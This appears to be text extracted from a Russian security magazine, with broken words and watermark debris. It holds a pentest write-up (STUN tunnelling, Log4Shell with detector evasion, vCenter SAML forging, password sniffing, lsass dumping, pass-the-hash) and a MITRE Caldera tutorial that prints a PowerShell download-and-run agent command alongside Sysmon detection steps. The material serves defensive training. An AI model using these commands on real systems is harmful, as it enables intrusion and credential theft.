Эта сертифика ция позволила мне значитель но повысить собствен ные навыки выявления и эксплу ата ции уязвимос тей OWASP TOP-10, разобрать ся с акту альными темами ресерчей в сфере веба и свежими методами эксплу ата ции . И раз ты дочитал эту статью до конца , в качестве награды дарю тебе мою собствен ну ю таблицу подготов ки к экзамену , содержащу ю все экспло иты от необходимых лаборатор ных работ. Пусть она облегчит твой путь в прохож дении этой сертифика ции !
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ИСПОЛЬЗУЕМ ОСОБЕННОСТИ STUN ДЛЯ ПРОНИКНОВЕНИЯ ВО ВНУТРЕННЮЮ СЕТЬ
В этой статье я расска жу , как недостатки конфигура ции сервера STUN позволили проник нуть во внутреннюю сеть, обойти средства защиты и проэкс плу ати ровать Log4Shell, как удалось захватить виртуаль ную инфраструктуру с помощью генерации сессии для SAML-аутентифика ции , прод винуться по сети и получить доменного админис тра тора с помощью классичес кой техники pass the hash.
Александр Герасимов
Этичный хакер, директор по информационной безопасности и сооснователь Awillix a.gerasimov@awillix.com
Все описан ное мы продела ли в рамках пентеста крупной ИТ компании . Нашей целью было оценить возможность проник новения во внутреннюю сеть из внешней и дать рекомендации , как устранить уязвимос ти .
РАЗВЕДКА
Первым делом, как обычно , сканиру ем открытые сервисы . Сама цепочка экс плуата ции началась с веб приложе ния IvaConnect — платформы
для видео конференц связи .
Сервис позволя ет подклю читься к мероприятию по цифровому идентифика тору. Путем перебора ID мероприятия мы получили доступ к тестовой ком нате 3333. После этого приложе ние получае т учетные данные STUN (логин — ivcs, пароль — ivcs) и подклю чается к серверу STUN.
Проток ол STUN позволя ет устанав ливать соединение между двумя узла ми, находящими ся за NAT, и активно использует ся при установ лении соеди нений в WebRTC. На этом этапе также можно получить внутреннюю адре сацию через прослушива ние STUN-трафика в Wireshark.
В нашем случае сервер не проверя ет, что адрес, по которому нужно подклю читься , находится в локальной сети. Таким образом злоумыш ленник может получить доступ ко внутренним ресурсам , например используя утилиту
Stunner.
Если ты обнаружи л неправиль но сконфигури рованный STUN-сервер , Stunner поможет постро ить SOCKS-прокси , который перенаправля ет весь трафик через проток ол TURN во внутренн юю сеть.
Для этог о нужн о просто выполнить команду
./stunner socks -s [IP]:[PORT] -u [USER] -p [PASSWORD]
Таким образом удается получить доступ к внутренней сети 10.1.1.0/24.
ПЕРВОНАЧАЛЬНЫЙ ДОСТУП
Во время анализа внутренней сети мы обнаружи ли сервер PostgreSQL, использующий такие же учетные данные , как и сервер STUN. Внутри базы мы нашли таблицу videoconference.lpad, в которой была запись для подклю чения к серверу LDAP.
Восполь зовав шись новыми знаниями , мы подклю чились к LDAP, где нас ждал еще один пароль (причем в открытом виде) в поле description.
Учетная запись из LDAP оказалась действи тельной, и мы получили админис тратив ный доступ к серверу А. Кроме того, по адресу vcenter.company. local найден сервер vCenter, содержащий уязвимость Log4Shell. Она то и даст нам возможность выполнять код на сервере .
Для эксплу атации необходимо , чтобы целевой сервер не имел доступа
к интернету и подклю чался к внешнему LDAP. Поэтому для эксплу атации используем полученный ранее сервер А.
ЗАКРЕПЛЕНИЕ В СИСТЕМЕ
В файловой системе сервера vCenter можно найти файл data.mdb, он содер жит в себе сертифика ты , которые используют ся для подписи запросов
при SAML-аутентифика ции любого пользовате ля , включая админис тра тора . Для генерации сессии через SAML-аутентифика цию можно восполь
зоваться утилитой vcenter_saml_login:
python3 vcenter_saml_login.py -p [PATH TO MDB] -t [HOST]
С полученной сессией нам удалось проник нуть на vCenter и захватить кон троль над виртуаль ной инфраструктурой .
Внутри vCenter мы нашли виртуаль ну ю машину express c пройден ной аутен тификацией и доступом в интернет.
Теперь можн о отказать ся от STUN-туннеля и восполь зовать ся напрямую этой виртуаль ной машиной для доступа ко внутренним ресурсам .
Далее мы нашли уязвимый к Log4Shell сервер VMware Horizon на внешнем периметре . На этом сервере тоже не было доступа в интернет, и для эксплу атации было необходимо подклю чение к внешнему серверу LDAP. Выяс нилось, что в сети использует ся СЗИ, которое обнаружи вае т попытку эксплу атации и обрывае т соединение до LDAP-сервера . Со временем стало понят но, что СЗИ детектиру е т лишь значение java.lang.Runtime.getRuntime, поэтому мы обфусцирова ли полезну ю нагрузку , а для эксплу ата ции исполь зовали сервер express.
На сервере VMware Horizon была возможность перехватывать пароли пользовате лей в открытом виде, прослушивая порт 8009 (Connection Server — AJP13):
tcpdump -X -s 0 'tcp port 8009 and (((ip[2:2] - ((ip[0]&0xf)<<2))
- ((tcp[12]&0xf0)>>2)) != 0)
ПРОДВИЖЕНИЕ ПО СЕТИ
С сервера horizon.company.ru мы произве ли опрос доменного контрол лера и получили информаци ю о пользовате лях , компьюте рах , сессиях . Затем через procdump сделали дамп памяти процес са lsass, содержащего NTLMхеши учетной записи инженера поддер жки , назовем его USER1@internal.RU.
Дальше мы изучили права учетной записи USER1@internal.RU и обнаружи ли , что пользователь состои т в группе . Предположим , она называется SUPPORT ENGINEERS@internal.RU. У нее есть прав о ReadLAPSPassword, позволя ющее получить информаци ю о паролях локального админис тра тора на компьюте рах пользовате лей .
ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Первом делом мы использовали технику pass the hash и запросили данные
у контрол лера домена. Техника , если ты не в курсе , заключа ется в том, что можн о использовать NT-хеш вместо пароля, чтобы пройти аутентифика цию.
На компьюте ре NSurname.internal.RU обнаружи лась установ ленная сессия админис тра тора домена ADMINISTRATOR@internal.RU.
Исполь зуя полученные права локального админис тратора, мы сделали дамп памяти процес са lsass на компьюте ре zz, в результате чего удалось получить пароль админис тратора домена в открытом виде с помощью утилит
procdump и mimikatz.
Затем мы аутентифици рова лись на доменном контрол лере DC01 с правами доменног о админис тра тора , пользователь pentester был добавлен в группу Domain Admins для подтвержде ния целей тестирова ния .
ВЫВОДЫ И РЕКОМЕНДАЦИИ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||
Резюми |
руя , можн о сказать , что на внешней |
|
инфраструктуре |
отсутство вали |
|||||||||||||||||||||||||||||||
уязвимос |
ти , а средства защиты блокиро |
вали |
все векторы |
атак. Но некоррек |
|||||||||||||||||||||||||||||||
тно сконфигури |
рован |
ный |
сервер |
STUN все таки позволил |
попасть во внут |
||||||||||||||||||||||||||||||
реннюю сеть. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
Во внутренней |
сети защитные |
средства тоже блокиро |
вали |
вредонос |
ный |
||||||||||||||||||||||||||||||
трафик , но, обойдя СЗИ и проэкс плу ати ровав |
Log4Shell, мы получили доступ |
||||||||||||||||||||||||||||||||||
к гипервизору |
|
и |
захватили |
виртуаль |
ну ю инфраструктуру , сделали |
дамп |
|||||||||||||||||||||||||||||
памяти, получили доменну ю учетну |
ю |
запись, повысили |
|
|
|
свои |
|
привиле |
гии |
||||||||||||||||||||||||||
и стали админис тра тором |
домена. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
Можн о сделать |
вывод, что |
уровень |
злоумыш |
ленни |
ка , |
необходимый |
|||||||||||||||||||||||||||||
для захвата |
ИТ инфраструктуры |
, должен |
быть достаточ |
но высоким. Заказчик |
|||||||||||||||||||||||||||||||
увиде л пробелы |
в своем процес се патч менеджмен |
та и промаш |
ки админис |
||||||||||||||||||||||||||||||||
траторов |
— они хранили |
пароли в открытом виде и использовали |
|
одинако |
вые |
||||||||||||||||||||||||||||||
пароли на разных сервисах |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
Чтобы повысить защищенность |
и |
не |
допустить |
подобной |
атаки , |
|
мы |
||||||||||||||||||||||||||||
рекомендуем |
следующие |
шаги. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
•Необхо димо настро ить STUN-сервер таким образом , чтобы он отклонял запросы на подклю чение к зарезервирован ным диапазонам IP-адресов .
•Регуляр но обновлять програм мное обеспечение .
•Внедрить парольну ю политику и не допускать хранения паролей в откры том виде.
•Внедрить защиту конечных устройств на серверы .
Иконечно , проводить регулярный анализ защищенности и/или тестирова ние
на проник новение .
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
Александр Мессерле
ИБтивист. Исследую в ИБ то, что движется. То, что не движется, кладу в песочницу. nayca@mail.ru
Борис Осепов
Специалист ИБ. Увлекаюсь средствами анализа вредоносного ПО. Люблю проверять маркетинговые заявления на практике :) mainboros777@gmail.com
УЧИМСЯ ИМИТИРОВАТЬ
ИОБНАРУЖИВАТЬ АТАКИ
СПОМОЩЬЮ MITRE CALDERA
Мы привык ли думать, что у нас всегда все хорошо в плане информацион ной безопасности . Чтобы удостоверить ся в этом, некоторые компании проводят пентест . Но существу ет способ убедить ся в своей готовности к кибернападе ниям и без пентеста . Какой? Сейчас расска жем !
Речь пойде т об автомати зиро ван ной системе эмуляции действий злоумыш ленников под названи ем Caldera. Мы расска жем об ее устройстве , настрой ке и о том, как эти нехорошие активности можно поймать с помощью бесплат ных средств для винды — утилиты Sysmon и правиль ной настрой ки политик аудита в системе . Статья рассчи тана на новичков и содержи т много полезных практичес ких советов. Погнали !
|
Информа |
ция |
предос тавле |
на |
исключитель |
но |
|||
|
в учебных |
целях. Пожалуйста , соблюдай |
законо |
||||||
|
дательство |
и не применяй |
изложен ную |
в статье |
|||||
|
информацию |
в незаконных целях. |
|
|
|
Caldera — это автомати зиро ван ная система эмуляции действий злоумыш ленников на конечных рабочих станциях , созданная компани ей MITRE. Caldera позволя е т проводить практичес кие тесты информацион ной безопас ности с использовани ем различных сценари ев атак. Система с помощью фреймвор ка ATT&CK эмулиру е т поведение атакующе го , как будто происхо дит реальное вторжение . Caldera поставля ется с несколь кими заранее соз данными шаблонами поведения злоумыш ленни ков , а дополнитель ные пла гины к системе подклю ча ют новые функции и паттерны атак.
В системе Caldera два компонен та:
•основная система . Это код фреймвор ка из репозитория . Он включает в себя асинхрон ный C&C-сервер (C2) с REST API и веб интерфейсом ;
•плагины . Расширя ют основные возможнос ти фреймвор ка и предос тавля ют дополнитель ные функции . К примеру , пользователь может вести отчетность и привлекать различных агентов для установ ки на конечные точки .
Вот список всех актуаль ных на текущий момент плагинов , установ ленных по умолчани ю в контей нере :
•Access — инстру менты первоначаль ного доступа для Red Team (ата кующей команды );
•Atomic — проек т Atomic Red Team, плагин позволя ет сопоставлять вре доносну ю активность с соответс твующей тактикой и запускать мини активности ;
•Builder — динамичес кая компиляция полезных нагрузок для агента ;
•CalTack — встраивае т в Caldera веб сайт ATT&CK;
•Compass — добавляе т визуали зацию ATT&CK;
•Debrief — выполняе т анализ проводи мых компаний и аналити ку;
•Emu — планы эмуляции действий различных групп злоумыш ленников от CTID (Center for Threat-Informed Defense);
•Fieldmanual — ведение документации ;
•GameBoard — мониторинг совмес тных действий «красных » и «синих» команд;
•Human — имитация действий пользовате лей на конечных точках , чтобы запутать атакующих ;
•Manx — поддер жка полезных нагрузок Shell и Reverse Shell;
•Mock — имитация агентов в операци ях;
•Response — плагин для автоном ного реагирова ния на инциден ты (да, можн о настро ить автомати ческий «блютиминг » от Caldera на ее же собс твенный «редтиминг »);
•Sandcat — агент по умолчанию , используемый в операци ях;
•SSL — добавление поддер жки HTTPS для Caldera;
•Stockpile — склад различных техник и готовых профилей злоумыш ленника;
•Training — сертифика ция и учебный курс, позволя ющий стать экспертом
в сфере Caldera; состои т из заданий, которые надо выполнить в Caldera для получения статуса специалис та.
ПОДГОТОВКА СТЕНДА
Можн о установить Caldera в виде Docker-контей нера на машину с Windows. В таком случае не нужно будет возиться с интерпре таторами Python и дру гими связан ными компонен тами, да и контей нер проще в настрой ке для новичков . Контей нер устанав ливаем с помощью приложе ния Docker Desktop, на хосте должно присутс твовать хотя бы два ненагружен ных ядра процес сора и два гигабайта операти вы.
Вот так выгляди т установ ленный и запущенный контей нер. Обрати вни мание на проброшен ные порты .
Запущен ный контей нер Caldera в Docker Desktop на ОС Windows
Нам нужн о перейти в логи контей нера, чтобы посмотреть логин и пароль для входа на веб интерфейс. Для этого щелкни на имени контей нера, затем перейди на вкладку Logs. Данные для входа выделены красным , они генери руются каждый раз заново при запуске контей нера. Учти, что при разворачи вании проекта из сырцов имя пользовате ля по умолчанию — red, пароль — admin (или ищи их в конфигах — conf/local.yml, conf/default.yml).
Интерфейс может несколь ко отличать ся от представ ленного варианта .
Логи контей нера Caldera в Docker Desktop
Для входа в веб интерфейс на машине с Docker Desktop использует ся адрес http://127.0.0.1:18890 (такой порт слушает ся на локалхосте и проб расывается внутрь контей нера на порт 8888). Используй найден ные логин и пароль из логов контей нера.
Перед тем как начать нашу атакующу ю операцию , давай подробно рас смотрим матчасть .
НАЧАЛО РАБОТЫ С CALDERA
Практичес ки любая атака всегда выполняет ся с внешним управлением — то есть с примене нием командно го сервера (C&C). Чтобы «дергать за ниточки » цель, необходим о обеспечить связь с атакуемо го хоста , поэтому на него устанав ливается специаль ный агент.
В веб интерфейсе переходим на вкладку agents, затем в открывшемся виджете нажимаем на кнопку подготов ки агента .
Вкладка agents в веб интерфейсе Caldera
Кнопка установ ки агента
Теперь следуе т определить тип агента (GoLang-агент — самый популярный ), указать платформу , на которой будем его разворачи вать , и остается лишь заполнить адрес нашего сервера управления (на котором у нас развернут контей нер ) с указани ем порта веб интерфейса .
|
|
|
Настрой |
ки агента |
|
||
|
|
|
|
|
|||
После заполнения |
ты увидишь |
команду для установ ки агента на хосте , |
|||||
с параметрами |
, которые мы указали |
выше: |
$server="http://192.168.0.242:18890"; $url="$server/file/download";
$wc=New-Object System.Net.WebClient; $wc.Headers.add("platform",
"windows"); $wc.Headers.add("file","sandcat.go"); $data=$wc.
DownloadData($url); $name=$wc.ResponseHeaders["Content-Disposition"].
Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf(
"filename=")+9).Replace("`"",""); get-process | ? | stop-process -f;
rm -force "C:\Users\Public$name.exe" -ea ignore; [io.file]::
WriteAllBytes("C:\Users\Public$name.exe",$data) | Out-Null; Start-
Process -FilePath C:\Users\Public$name.exe -ArgumentList "-server
$server -group red" -WindowStyle hidden;
Выпол ним эту команду в PowerShell на машине, где планиру ется эмулиро вать активность атакующих . Для лучшего эффекта рекомендуем установить агент с правами админис тра тора . По умолчани ю Windows будет нам мешать, но мы создадим необходимые исключения для коррек тной установ ки . Интерес но , что свойства работы этого агента занесены в базу знаний о вредоно сах в от дельной статье Microsoft.
Исклю чение для агента в Windows Defender
Если установ ка прошла успешно, в веб интерфейсе появится следующее .
Успешн о установ ленный агент
Щелкнув на этой строке , мы сможем увидеть параметры хоста и настрой ки агента .
Парамет ры агента
Агент пока тольк о установ лен и не выполняе т никаких действий . Теперь под готовим логирование на нашем хосте .
ПОДГОТОВКА МОНИТОРИНГА СОБЫТИЙ — SYSMON И ЖУРНАЛЫ
WINDOWS
Стандар тные |
инстру мен ты логирования |
ОС Windows не позволя |
т нам увидеть |
||||||||||||||||||||||||||||||||||||||||
множес тв о интерес ных |
событий, происхо |
дящих |
в кишках системы |
, поэтому |
|||||||||||||||||||||||||||||||||||||||
на целевую машину мы добавим Sysmon и немного |
волшебс |
тва . |
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||
|
|
Системный |
монитор (Sysmon) — это служба Windows и драйвер |
устрой |
|||||||||||||||||||||||||||||||||||||||
ства. Раньше эта утилита |
была частью пакета програм мно го обеспечения |
||||||||||||||||||||||||||||||||||||||||||
Sysinternals, теперь принад лежаще |
го Microsoft. Установ ка Sysmon позволя |
ет |
|||||||||||||||||||||||||||||||||||||||||
отслеживать |
и регистри ровать |
системные |
действия |
в журнале |
|
событий |
|||||||||||||||||||||||||||||||||||||
Windows. Он предос тавля |
е т подробные |
|
|
сведения |
о создании |
процес сов , |
|||||||||||||||||||||||||||||||||||||
о сетевых подклю чени |
ях и изменени |
ях времени |
создания |
файлов . |
|
|
|
|
|||||||||||||||||||||||||||||||||||
|
|
Sysmon очень легк о установить |
и |
развернуть |
. |
Загрузить |
|
тулзу можно |
|||||||||||||||||||||||||||||||||||
с сайта Microsoft (кстати , есть версия |
и для Linux). Программа |
запускает ся |
|||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||
в качестве службы . Основную сложность |
представ |
ляе т настрой |
ка конфигура |
|
|||||||||||||||||||||||||||||||||||||||
ции, с использовани |
ем |
которой |
утилита |
выполняе |
т |
свою |
|
работу, но, |
|||||||||||||||||||||||||||||||||||
к счастью, есть уже готовые и обкатан ные |
вариан |
ты . |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||
|
|
Рекомен |
дуем |
|
выбрать |
конфигура |
ци ю |
|
по |
|
|
|
умолчанию |
|
— |
default |
|||||||||||||||||||||||||||
(sysmonconfg.xml). Для установ ки конфигура |
ции используй такую команду : |
|
|
||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||
sysmon.exe -accepteula -i sysmonconfig.xml |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||
Отсле дить |
вредонос |
ные |
или аномаль |
ные |
|
явления в системе |
можно , собирая |
данные , которые генериру ют агенты сбора событий Windows (Event Collector)
или SIEM (winlogbeat и другие |
сторон ние |
средства ). При рассле дова |
нии |
|||||||||||||||||
киберинциден |
тов |
это позволи |
т понять, как злоумыш |
ленни |
ки закрепля |
ются |
||||||||||||||
и действу ют в сети. Так, благода |
ря анализу |
событий в ОС мы узнали , что |
||||||||||||||||||
в компонен |
тах браузе ра Chrome использует ся защита производс |
тва |
ком |
|||||||||||||||||
пании ESET. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Для работы с событиями |
журналов |
Windows мы будем использовать |
сов |
|||||||||||||||||
ременну ю SIEM-систему |
. На скриншотах |
ниже показан продук т «Лаборатории |
||||||||||||||||||
Каспер ско го » KUMA (Kaspersky |
|
Unifed Monitoring and Analysis Platform). |
||||||||||||||||||
В целом не так важно , как собирать эти события и где их анализи |
ровать |
, глав |
||||||||||||||||||
ное — содержание |
! |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
||||||
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
УЧИМСЯ ИМИТИРОВАТЬ И ОБНАРУЖИВАТЬ АТАКИ
С ПОМОЩЬЮ MITRE CALDERA
ЗАПУСК CALDERA-АГЕНТА
Итак, мы имеем на хосте настро енное по умолчанию логирование Windows и установ ленный с некой конфигура цией Sysmon. Теперь запустим агент имитатор и посмотрим , что получится .
|
|
Активнос |
ти агента в веб интерфейсе KUMA |
|
|
|||||||
В системе |
мониторин га |
(SIEM) мы |
отключили |
все правила |
корреляции |
|||||||
(которые подсве тили |
бы все подозритель |
ные |
активности ). Наша задача — |
|||||||||
найти |
подозритель |
ные |
события |
вручную . |
|
События отсортирова |
ны |
|||||
по параметру EventRecordID журналов |
ОС Windows — в SIEM это столбец |
|||||||||||
ExternalID. |
|
|
|
|
|
|
|
|
|
|
|
Что мы видим? Произо шел запуск оснастки PowerShell (события до ID 50002), далее глаз цепляет ся за событие, в ходе которого из процес са PowerShell создает ся новый файл (в столбце Name, который обознача ет суть события, стои т File Created). Созданный файл с именем sandcat-go. windows.exe запускает ся на выполнение (Name = Image loaded). Здесь же мы видим его контроль ную сумму (ее можно использовать как IOC для поиска в различных базах, например на VirusTotal). Вдобавок у этого файла нет циф ровой подписи . Подозритель но? Вроде бы да.
Исполня емый файл агента с контроль ной суммой и информацией по сертифика ту
Мы видим, что в подписи отсутству ют значения ряда полей. Сравни получен ный результа т с подпись ю нормаль ного файла , какого нибудь виндового сис темного . В отличие от sandcat-go.windows.exe, у него заполнена информа ция о компании и другие характерные строки .
Системный , хороший исполняемый файл с валидной информацией по сертифика ту
Файл однозначн о вызывае т сомнения . Интерес но , что делае т этот подоз рительный объек т после установ ки ?
Закрепле ние подозритель ного файла
В перву ю очередь вредонос ной программе нужно закрепить ся в системе , и она прописы вает себя в автозапуск в качестве службы , используя ключи реестра . Что дальше ? У подобных файлов обычно имеется внешнее управле ние, а значит , должны присутс твовать и сетевые соединения . Эти события логируются , и большой SIEM все видит (Name = Network connection
detected).
Сетевая активность подозритель ного файла
В сетевой активности участву ет сам сервер управления (Caldera), так как в настрой ках сетевой коммуника ции агента не использует ся прокси .
Чего то не хватает , да? Кажется , мы упустили сами команды , которые про исходили в PowerShell... А ведь их можно отыскать , стои т только немножко потрудить ся. Для этог о нужно настро ить уровень логирования в системе . Нажимаем Winkey + R и запускаем gpedit.msc. В разделе «Конфигура ция компьюте ра → Administrative Templates → Windows Components → Windows PowerShell» включаем ведение аудита по следующим событиям .
Подкру чива ем логирование в Windows
В свойствах первог о (вести логирование модулей) пропиши в качестве Value знак * — это включи т логирование всех модулей PowerShell.
Настрой ка Turn on Module Logging
А в свойствах второг о (включить регистра ци ю блоков сценари ев PowerShell) устанав лива ем флажок .
Настрой ка Turn on PowerShell ScriptBlock Logging
Чтобы найти логи, нажми Win-R, запусти eventvwr, а затем в окне Application and Services Logs перейди в разде л Microsoft → Windows → PowerShell → Operational. Для провер ки введи в консоль PowerShell команду whoami и най ди ее в логах.
Работа логирования PowerShell
Теперь точн о будет интерес нее !
НАЧАЛО АТАКИ |
|
|
|
|
|
|
|
Чтобы |
запустить |
атаку |
по заранее подготов |
ленно |
му |
сценарию |
, |
в веб интерфейсе Caldera выбираем пункт меню Operations, затем при думываем имя операции и указыва ем активность, которая будет эмулиро ваться . В нашем случае это Discovery (один из этапов атак выполнения раз ведки, подробнее о нем читай на сайте MITRE, а дополнитель ные подробнос ти — в этой статье). Также можн о заполнить и другие параметры операции , но ты это сделаешь , когда наберешься опыта .
Создание операции в интерфейсе Caldera
После нажатия кнопки Start агент начинае т действо вать , весь процесс пос ледователь н о отобража ется на экране , а звездами обознача ются успешно выполненные команды .
Резуль та т выполнения операции в интерфейсе Caldera
В ходе эмуляции атаки проверя лись различные параметры : какие юзеры есть в системе , установ лен ли антивирус и так далее. Проиллюс три руем в качес тве примера , как Caldera определя ет , присутс тву е т ли в системе антивирус . Делается это с помощью тривиаль ного WMI-запроса . Провер ка показала , что на хосте установ лен стандар тный Windows Defender.
Резуль та т провер ки наличия антивиру са в ходе операции
Вернемся к SIEM. Теперь среди собранных событий, которых внезап но стало больше , можн о отследить , под учеткой какого пользовате ля действо вали «злоумыш ленни ки » (его SID) и какие консоль ные команды они выполняли .
Обнаруже ние провер ки наличия антивиру са агентом в SIEM
Попробу ем немног о усложнить задачу для защитников : будем использовать обфусцирован ные команды PowerShell и посмотрим , как они выглядя т в логах. Для этог о создадим новую операци ю Obfuscation_Commands с эмуляци ей активностей червя . Функция обфускации настра ивается в параметрах скрыт
ности (stealth).
Настрой ка обфускации команд в операции
При выполнении операции можно запускать некоторые команды в консоли вручну ю и получать вывод.
Ручное выполнение команд в операции
Но ручная команда получилась необфусци рован ной . Посмотрим , что будет при запуске нашей «зачервлен ной » компании .
Загадоч ная команда в операции
Коман ды запускают ся с ключом -Enc или -E. Если ты однажды заметишь подобное , всегда обращай на это присталь ное внимание : обычно это что то опасное . В журналах системы у нас происхо ди т кое что поинтерес нее : сна чала выполнялась абракадаб ра , а потом мы явно видим эту команду (чудо аудита !). На иллюстра ции стрелками указаны RecordID в журнале , соответс твующие интересу ющим нас записям.
Разгадка загадочной команды в операции
Таким образом , мы симулирова ли действия атакующе го с помощью Caldera. С этим фреймвор ком легко провес ти атаку подобно Red Team и прокачать навыки Blue и Purple Team.
ВЫВОДЫ
Теперь ты готов тестировать свою инфраструктуру ! В статье мы расска зали о базовых вещах, которые помогут быстрее начать пользовать ся этим инстру ментом . Все шишки мы набили за тебя, но на всякий случай держи в помощь докумен тацию.
Какие выводы можн о сделать , проана лизи ровав эту смодели рован ную атаку ?
•Хранить журналы ОС и систем безопасности нужно не только на самой рабочей станции , но и в отдельном месте — там их злодей хотя бы не сот рет.
•Ведение расширен ных журналов с помощью Sysmon всегда полезно и к тому же бесплат но. Но в зависимос ти от конфигура ции может вырасти нагрузка на хост.
•Провес ти эмуляци ю атак не так уж и сложно .
Для сбалан сированной настрой ки политик аудита , в том числе для ведения журналов в различных системах , следуе т придер живаться рекомен даций
Microsoft.
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
